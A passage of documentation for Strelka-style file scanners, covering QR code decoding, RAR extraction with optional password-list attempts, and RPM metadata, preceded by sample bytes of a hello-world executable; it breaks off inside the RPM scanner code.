\\x00\\x00\\xd0\\x05\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.r\\x01\\x00\\x00p(\\x0f\\x00\\x00\\n*\\x1e\\x02(\\x10\\x00\\x00\\n*BSJB\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00v4.0.30319\\x00\\x00\\x00\\x00\\x05\\x00l\\x00\\x00\\x00\\xcc\\x01\\x00\\x00#~\\x00\\x008\\x02\\x00\\x00X\\x02\\x00\\x00#Strings\\x00\\x00\\x00\\x00\\x90\\x04\\x00\\x00\\x1c\\x00\\x00\\x00#US\\x00\\xac\\x04\\x00\\x00\\x10\\x00\\x00\\x00#GUID\\x00\\x00\\x00\\xbc\\x04\\x00\\x00\\x14\\x01\\x00\\x00#Blob\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x01G\\x15\\x00\\x00\\t\\x00\\x00\\x00\\x00\\xfa\\x013\\x00\\x16\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x95\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\n\\x01\\x1c\\x02\\x06\\x00w\\x01\\x1c\\x02\\x06\\x00>\\x00\\xea\\x01\\x0f\\x00<\\x02\\x00\\x00\\x06\\x00f\\x00\\xd2\\x01\\x06\\x00\\xed\\x00\\xd2\\x01\\x06\\x00\\xce\\x00\\xd2\\x01\\x06\\x00^\\x01\\xd2\\x01\\x06\\x00*\\x01\\xd2\\x01\\x06\\x00C\\x01\\xd2\\x01\\x06\\x00}\\x00\\xd2\\x01\\x06\\x00R\\x00\\xfd\\x01\\x06\\x000\\x00\\xfd\\x01\\x06\\x00\\xb1\\x00\\xd2\\x01\\x06\\x00\\x98\\x00\\xa4\\x01\\x06\\x00P\\x02\\xc6\\x01\\x06\\x00\\x1e\\x00\\xc6\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\xbe\\x01\\x13\\x00A\\x00\\x01\\x00\\x01\\x00H \\x00\\x00\\x00\\x00\\x91\\x00\\xcd\\x01(\\x00\\x01\\x00T \\x00\\x00\\x00\\x00\\x86\\x18\\xe4\\x01\\x06\\x00\\x02\\x00\\x00\\x00\\x01\\x00K\\x02\\t\\x00\\xe4\\x01\\x01\\x00\\x11\\x00\\xe4\\x01\\x06\\x00\\x19\\x00\\xe4\\x01\\n\\x00)\\x00\\xe4\\x01\\x10\\x001\\x00\\xe4\\x01\\x10\\x009\\x00\\xe4\\x01\\x10\\x00A\\x00\\xe4\\x01\\x10\\x00I\\x00\\xe4\\x01\\x10\\x00Q\\x00\\xe4\\x01\\x10\\x00Y\\x00\\xe4\\x01\\x10\\x00a\\x00\\xe4\\x01\\x15\\x00i\\x00\\xe4\\x01\\x10\\x00q\\x00\\xe4\\x01\\x10\\x00y\\x00\\xe4\\x01\\x10\\x00\\x89\\x00&\\x00\\x1a\\x00\\x81\\x00\\xe4\\x01\\x06\\x00.\\x00\\x0b\\x00.\\x00.\\x00\\x13\\x007\\x00.\\x00\\x1b\\x00V\\x00.\\x00#\\x00_\\x00.\\x00+\\x00o\\x00.\\x003\\x00o\\x00.\\x00;\\x00u\\x00.\\x00C\\x00_\\x00.\\x00K\\x00|\\x00.\\x00S\\x00o\\x00.\\x00[\\x00o\\x00.\\x00c\\x00\\x95\\x00.\\x00k\\x00\\xbf\\x00.\\x00s\\x00\\xcc\\x00\\x04\\x80\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1f\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<Module>\\x00mscorlib\\x00HelloWorld\\x00Console\\x00WriteLine\\x00GuidAttribute\\x00DebuggableAttribute\\x00ComVisibleAttribute\\x00AssemblyTitleAttribute\\x00AssemblyTrademarkAttribute\\x00TargetFrameworkAttribute\\x00AssemblyFileVersionAttribute\\x00AssemblyConfigurationAttribute\\x00AssemblyDescriptionAttribute\\x00CompilationRelaxationsAttribute\\x00AssemblyProductAttribute\\x00AssemblyCopyrightAttribute\\x00AssemblyCompanyAttribute\\x00RuntimeCompatibilityAttribute\\x00HelloWorld.exe\\x00System.Runtime.Versioning\\x00Program\\x00System\\x00Main\\x00System.Reflection\\x00.ctor\\x00System.Diagnostics\\x00System.Runtime.InteropServices\\x00System.Runtime.CompilerServices\\x00DebuggingModes\\x00args\\x00Object\\x00\\x00\\x00\\x17H\\x00e\\x00l\\x00l\\x00o\\x00 \\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x00v\\x0e\\xa4Et\\\\\\xa8L\\x98\\xd0lw\\xcc\\x08\\xd7O\\x00\\x04 \\x01\\x01\\x08\\x03 \\x00\\x01\\x05 \\x01\\x01\\x11\\x11\\x04 \\x01\\x01\\x0e\\x04 \\x01\\x01\\x02\\x04\\x00\\x01\\x01\\x0e\\x08\\xb7z\\\\V\\x194\\xe0\\x89\\x05\\x00\\x01\\x01\\x1d\\x0e\\x08\\x01\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x1e\\x01\\x00\\x01\\x00T\\x02\\x16WrapNonExceptionThrows\\x01\\x08\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x0f\\x01\\x00\\nHelloWorld\\x00\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x06\\x01\\x00\\x01.\\x00\\x00\\x18\\x01\\x00\\x13Copyright \\xc2\\xa9 . 2020\\x00\\x00)\\x01\\x00$c66634a4-f119-4236-b8d2-a085d40e57c7\\x00\\x00\\x0c\\x01\\x00\\x071.0.0.0\\x00\\x00G\\x01\\x00\\x1a.NETFramework,Version=v4.0\\x01\\x00T\\x0e\\x14FrameworkDisplayName\\x10.NET Framework 4\\x00\\x00\\x00\\x00\\xfe\\x84S\\xc9\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00k\\x00\\x00\\x00d&\\x00\\x00d\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00RSDS\\xa6c\\x07\\xd0\\x9b\\x84\\xb9D\\xbf\\x03\\x0b\\xff-}\\x1eJ\\x01\\x00\\x00\\x00C:\\\\Users\\\\tmcguff\\\\source\\\\repos\\\\HelloWorld\\\\HelloWorld\\\\obj\\\\x64\\\\Release\\\\HelloWorld.pdb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x10\\x00\\x00\\x00 \\x00\\x00\\x80\\x18\\x00\\x00\\x00P\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x008\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00h\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\xc0\\x03\\x00\\x00\\x90@\\x00\\x000\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000\\x034\\x00\\x00\\x00V\\x00S\\x00_\\x00V\\x00E\\x00R\\x00S\\x00I\\x00O\\x00N\\x00_\\x00I\\x00N\\x00F\\x00O\\x00\\x00\\x00\\x00\\x00\\xbd\\x04\\xef\\xfe\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00?\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00D\\x00\\x00\\x00\\x01\\x00V\\x00a\\x00r\\x00F\\x00i\\x00l\\x00e\\x00I\\x00n\\x00f\\x00o\\x00\\x00\\x00\\x00\\x00$\\x00\\x04\\x00\\x00\\x00T\\x00r\\x00a\\x00n\\x00s\\x00l\\x00a\\x00t\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x04\\x90\\x02\\x00\\x00\\x01\\x00S\\x00t\\x00r\\x00i\\x00n\\x00g\\x00F\\x00i\\x00l\\x00e\\x00I\\x00n\\x00f\\x00o\\x00\\x00\\x00l\\x02\\x00\\x00\\x01\\x000\\x000\\x000\\x000\\x000\\x004\\x00b\\x000\\x00\\x00\\x00\\x1a\\x00\\x01\\x00\\x01\\x00C\\x00o\\x00m\\x00m\\x00e\\x00n\\x00t\\x00s\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x02\\x00\\x01\\x00C\\x00o\\x00m\\x00p\\x00a\\x00n\\x00y\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00>\\x00\\x0b\\x00\\x01\\x00F\\x00i\\x00l\\x00e\\x00D\\x00e\\x00s\\x00c\\x00r\\x00i\\x00p\\x00t\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x000\\x00\\x08\\x00\\x01\\x00F\\x00i\\x00l\\x00e\\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x00>\\x00\\x0f\\x00\\x01\\x00I\\x00n\\x00t\\x00e\\x00r\\x00n\\x00a\\x00l\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00.\\x00e\\x00x\\x00e\\x00\\x00\\x00\\x00\\x00J\\x00\\x13\\x00\\x01\\x00L\\x00e\\x00g\\x00a\\x00l\\x00C\\x00o\\x00p\\x00y\\x00r\\x00i\\x00g\\x00h\\x00t\\x00\\x00\\x00C\\x00o\\x00p\\x00y\\x00r\\x00i\\x00g\\x00h\\x00t\\x00 \\x00\\xa9\\x00 \\x00.\\x00 \\x002\\x000\\x002\\x000\\x00\\x00\\x00\\x00\\x00*\\x00\\x01\\x00\\x01\\x00L\\x00e\\x00g\\x00a\\x00l\\x00T\\x00r\\x00a\\x00d\\x00e\\x00m\\x00a\\x00r\\x00k\\x00s\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00F\\x00\\x0f\\x00\\x01\\x00O\\x00r\\x00i\\x00g\\x00i\\x00n\\x00a\\x00l\\x00F\\x00i\\x00l\\x00e\\x00n\\x00a\\x00m\\x00e\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00.\\x00e\\x00x\\x00e\\x00\\x00\\x00\\x00\\x006\\x00\\x0b\\x00\\x01\\x00P\\x00r\\x00o\\x00d\\x00u\\x00c\\x00t\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x004\\x00\\x08\\x00\\x01\\x00P\\x00r\\x00o\\x00d\\x00u\\x00c\\x00t\\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x008\\x00\\x08\\x00\\x01\\x00A\\x00s\\x00s\\x00e\\x00m\\x00b\\x00l\\x00y\\x00 \\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x00\\xd0C\\x00\\x00\\xea\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xbb\\xbf<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\\r\\n\\r\\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\\r\\n <assemblyIdentity version=\"1.0.0.0\" name=\"MyApplication.app\"/>\\r\\n <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v2\">\\r\\n <security>\\r\\n <requestedPrivileges xmlns=\"urn:schemas-microsoft-com:asm.v3\">\\r\\n <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>\\r\\n </requestedPrivileges>\\r\\n </security>\\r\\n </trustInfo>\\r\\n</assembly>\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n }\nCollects QR code metadata from image files.
Source code instrelka/src/python/strelka/scanners/scan_qr.py class ScanQr(strelka.Scanner):\n \"\"\"\n Collects QR code metadata from image files.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n support_inverted = options.get(\"support_inverted\", True)\n\n self.event[\"data\"] = []\n\n barcode_data = []\n\n try:\n img = Image.open(io.BytesIO(data))\n barcodes = decode(img)\n\n if barcodes:\n for barcode in barcodes:\n barcode_data.append(barcode.data.decode(\"utf-8\"))\n\n if support_inverted:\n img_inverted = ImageOps.invert(img)\n barcodes = decode(img_inverted)\n\n if barcodes:\n self.flags.append(\"inverted\")\n for barcode in barcodes:\n barcode_data.append(barcode.data.decode(\"utf-8\"))\n\n if barcode_data:\n self.event[\"data\"] = barcode_data\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"decode_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanQr.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludebmp_file image/jpeg image/png image/tiff image/webp image/x-ms-bmp jpeg_file png_file type_is_tiff"},{"location":"Scanners/ScanQr.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typedata list elapsed str flags list"},{"location":"Scanners/ScanQr.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n }\nExtracts files from RAR archives.
Attributes:
Name Type Descriptionpassword List of passwords to use when bruteforcing encrypted files.
Optionslimit: Maximum number of files to extract. Defaults to 1000. password_file: Location of passwords file for rar archives. Defaults to /etc/strelka/passwords.dat
Source code instrelka/src/python/strelka/scanners/scan_rar.py class ScanRar(strelka.Scanner):\n \"\"\"Extracts files from RAR archives.\n\n Attributes:\n password: List of passwords to use when bruteforcing encrypted files.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n password_file: Location of passwords file for rar archives.\n Defaults to /etc/strelka/passwords.dat\n \"\"\"\n\n def init(self):\n self.passwords = []\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 100)\n size_limit = options.get(\"size_limit\", 250000000)\n limit_metadata = options.get(\"limit_metadata\", True)\n crack_pws = options.get(\"crack_pws\", False)\n log_pws = options.get(\"log_pws\", True)\n password_file = options.get(\"password_file\", \"/etc/strelka/passwords.dat\")\n\n # Gather count and list of files to be extracted\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n\n # Temporary top level compression metrics\n compress_size_total = 0\n file_size_total = 0\n\n if crack_pws:\n if not self.passwords:\n if os.path.isfile(password_file):\n with open(password_file, \"rb\") as f:\n for line in f:\n self.passwords.append(line.strip())\n\n if (\n len(self.passwords) == 0\n and \"no_passwords_loaded\" not in self.flags\n ):\n self.flags.append(\"no_passwords_loaded\")\n else:\n if \"password_file_missing\" not in self.flags:\n self.flags.append(\"password_file_missing\")\n\n self.passwords.insert(0, None)\n\n with io.BytesIO(data) as rar_io:\n try:\n with rarfile.RarFile(rar_io, part_only=True) as rar_obj:\n # If any file in the archive is encrypted, set a flag\n if (\n rar_obj.needs_password()\n and \"password_protected\" not in self.flags\n ):\n self.flags.append(\"password_protected\")\n\n # If filename encryption is enabled, set a flag\n if (\n rar_obj.needs_password()\n and len(list(rar_obj.infolist())) == 0\n and \"encrypted_filenames\" not in self.flags\n ):\n self.flags.append(\"encrypted_filenames\")\n\n # If filename encryption is enabled, attempt to recover the password\n if (\n crack_pws\n and self.passwords\n and len(list(rar_obj.infolist())) == 0\n ):\n for password in self.passwords:\n try:\n # Re-instantiate rarfile to address password change behavior\n rar_obj = rarfile.RarFile(rar_io, part_only=True)\n rar_obj.setpassword(\n password.decode(\"utf-8\") if password else None\n )\n\n if list(rar_obj.infolist()):\n self.passwords.insert(\n 0,\n self.passwords.pop(\n self.passwords.index(password)\n ),\n )\n\n break\n except rarfile.RarWrongPassword:\n pass\n except rarfile.PasswordRequired:\n pass\n except rarfile.BadRarFile:\n pass\n\n if (\n len(list(rar_obj.infolist())) == 0\n and \"no_password_match_found\" not in self.flags\n ):\n self.flags.append(\"no_password_match_found\")\n\n if rar_obj.comment:\n self.event[\"comment\"] = rar_obj.comment\n\n filelist = rar_obj.infolist()\n\n # Count the file entries, in case the function encounters an unhandled exception\n for compressed_file in filelist:\n if compressed_file.is_dir():\n continue\n self.event[\"total\"][\"files\"] += 1\n\n # For each file in rar, gather metadata and pass extracted file back to Strelka\n for i, name in enumerate(filelist):\n if not name.isdir():\n extract = True\n extracted = False\n compression_rate = 0\n\n try:\n extract_data = b\"\"\n compressed_file = rar_obj.getinfo(name)\n\n if compressed_file.file_size > size_limit:\n extract = False\n if \"file_size_limit\" not in self.flags:\n self.flags.append(\"file_size_limit\")\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n extract = False\n if \"file_count_limit\" not in self.flags:\n self.flags.append(\"file_count_limit\")\n\n if (\n compressed_file.file_size > 0\n and compressed_file.compress_size > 0\n ):\n compress_size_total += compressed_file.compress_size\n file_size_total += compressed_file.file_size\n\n size_difference = (\n compressed_file.file_size\n - compressed_file.compress_size\n )\n compression_rate = (\n size_difference * 100.0\n ) / compressed_file.file_size\n\n self.event[\"host_os\"] = HOST_OS_MAPPING[\n compressed_file.host_os\n ]\n\n try:\n rar_data_io = rar_obj.open(\n compressed_file, mode=\"r\"\n )\n if rar_data_io.readable():\n extract_data = rar_data_io.readall()\n except Exception:\n try:\n # rar_obj = rarfile.RarFile(rar_io, part_only=True)\n rar_data_io = rar_obj.open(\n compressed_file,\n mode=\"r\",\n pwd=\"\",\n )\n if rar_data_io.readable():\n extract_data = rar_data_io.readall()\n\n except Exception:\n if \"password_protected\" not in self.flags:\n self.flags.append(\"password_protected\")\n\n for password in self.passwords:\n try:\n # rar_obj = rarfile.RarFile(rar_io, part_only=True)\n rar_data_io = rar_obj.open(\n compressed_file,\n mode=\"r\",\n pwd=(\n password.decode(\"utf-8\")\n if password\n else None\n ),\n )\n if rar_data_io.readable():\n extract_data = rar_data_io.readall()\n self.passwords.insert(\n 0,\n self.passwords.pop(\n self.passwords.index(\n password\n )\n ),\n )\n if (\n password\n and crack_pws\n and log_pws\n ):\n if (\n \"password\"\n not in self.event.keys()\n ):\n self.event[\"password\"] = []\n if password.decode(\n \"utf-8\"\n ) not in self.event.get(\n \"password\", []\n ):\n self.event[\n \"password\"\n ].append(\n password.decode(\"utf-8\")\n )\n break\n except (\n RuntimeError,\n rarfile.RarCRCError,\n rarfile.RarWrongPassword,\n rarfile.BadRarFile,\n rarfile.PasswordRequired,\n ):\n pass\n\n # If we're cracking passwords, a file was encrypted, but failed to decrypt, set a flag\n if (\n crack_pws\n and compressed_file.needs_password()\n and not extract_data\n and \"no_password_match_found\" not in self.flags\n ):\n self.flags.append(\"no_password_match_found\")\n\n # If there's data in it, and no limits have been met, emit the file\n if extract_data and extract:\n # Send extracted file back to Strelka\n self.emit_file(\n extract_data, name=f\"{compressed_file.filename}\"\n )\n\n extracted = True\n\n if not (\n limit_metadata\n and self.event[\"total\"][\"extracted\"] >= file_limit\n ):\n self.event[\"files\"].append(\n {\n \"file_name\": compressed_file.filename,\n \"datetime\": compressed_file.mtime.isoformat(),\n \"ctime\": (\n compressed_file.ctime.isoformat()\n if isinstance(\n compressed_file.ctime,\n datetime.datetime,\n )\n else None\n ),\n \"mtime\": (\n compressed_file.mtime.isoformat()\n if isinstance(\n compressed_file.mtime,\n datetime.datetime,\n )\n else None\n ),\n \"atime\": (\n compressed_file.atime.isoformat()\n if isinstance(\n compressed_file.atime,\n datetime.datetime,\n )\n else None\n ),\n \"file_size\": compressed_file.file_size,\n \"compression_size\": compressed_file.compress_size,\n \"compression_rate\": round(\n compression_rate, 2\n ),\n \"extracted\": extracted,\n \"encrypted\": compressed_file.needs_password(),\n }\n )\n\n if extracted:\n self.event[\"total\"][\"extracted\"] += 1\n\n except NotImplementedError:\n self.flags.append(\"unsupport_compression\")\n except RuntimeError:\n self.flags.append(\"runtime_error\")\n except ValueError:\n self.flags.append(\"value_error\")\n\n except rarfile.BadRarFile:\n self.flags.append(\"bad_rar\")\n raise\n\n # Top level compression metric\n if file_size_total > 0 and compress_size_total > 0:\n size_difference_total = file_size_total - compress_size_total\n self.event[\"compression_rate\"] = round(\n (size_difference_total * 100.0) / file_size_total, 2\n )\n else:\n self.event[\"compression_rate\"] = 0.00\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanRar.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/x-rar rar_file"},{"location":"Scanners/ScanRar.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecomment str compression_rate float elapsed str files list files.atime NoneType files.atime str files.compression_rate float files.compression_size int files.ctime str files.ctime NoneType files.datetime str files.encrypted bool files.extracted bool files.file_name str files.file_size int files.mtime str flags list host_os str password list total dict total.extracted int total.files int"},{"location":"Scanners/ScanRar.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 3, \"extracted\": 3},\n \"host_os\": \"RAR_OS_WIN32\",\n \"files\": [\n {\n \"file_name\": \"hidden/lorem-hidden.txt\",\n \"datetime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"atime\": None,\n \"ctime\": None,\n \"mtime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"file_size\": 4015,\n \"compression_size\": 1484,\n \"compression_rate\": 63.04,\n \"extracted\": True,\n \"encrypted\": False,\n },\n {\n \"file_name\": \"hidden/lorem-readonly.txt\",\n \"datetime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"atime\": None,\n \"ctime\": None,\n \"mtime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"file_size\": 4015,\n \"compression_size\": 1484,\n \"compression_rate\": 63.04,\n \"extracted\": True,\n \"encrypted\": False,\n },\n {\n \"file_name\": \"lorem.txt\",\n \"datetime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"atime\": None,\n \"ctime\": None,\n \"mtime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"file_size\": 4015,\n \"compression_size\": 1484,\n \"compression_rate\": 63.04,\n \"extracted\": True,\n \"encrypted\": False,\n },\n ],\n \"compression_rate\": 63.04,\n }\nCollects metadata and extracts files from RPM files.
Optionstmp_directory: Location where tempfile writes temporary files. Defaults to '/tmp/'.
Source code instrelka/src/python/strelka/scanners/scan_rpm.py class ScanRpm(strelka.Scanner):\n \"\"\"Collects metadata and extracts files from RPM files.\n\n Options:\n tmp_directory: Location where tempfile writes temporary files.\n Defaults to '/tmp/'.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n\n try:\n with rpmfile.open(tmp_data.name) as rpm_obj:\n extract_name = \"\"\n for key, value in rpm_obj.headers.items():\n if key == \"arch\":\n self.event[\"architecture\"] = value\n elif key == \"archive_compression\":\n self.event[\"archive_compression\"] = value\n elif key == \"archive_format\":\n self.event[\"archive_format\"] = value\n elif key == \"authors\":\n self.event[\"authors\"] = value\n elif key == \"buildhost\":\n 